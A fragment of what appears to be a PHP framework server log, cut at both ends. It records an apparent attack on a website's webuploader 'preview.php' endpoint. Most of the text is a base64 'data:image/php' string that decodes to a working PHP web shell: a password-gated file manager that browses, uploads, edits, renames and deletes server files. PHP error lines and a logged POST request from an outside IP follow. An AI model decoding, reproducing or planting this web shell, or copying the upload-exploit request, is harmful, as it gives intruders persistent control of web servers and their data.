'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'libs' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:26+08:00 ] 116.213.36.234 POST 51tianwei.com/static/hui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002656s] [吞吐率:376.47req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 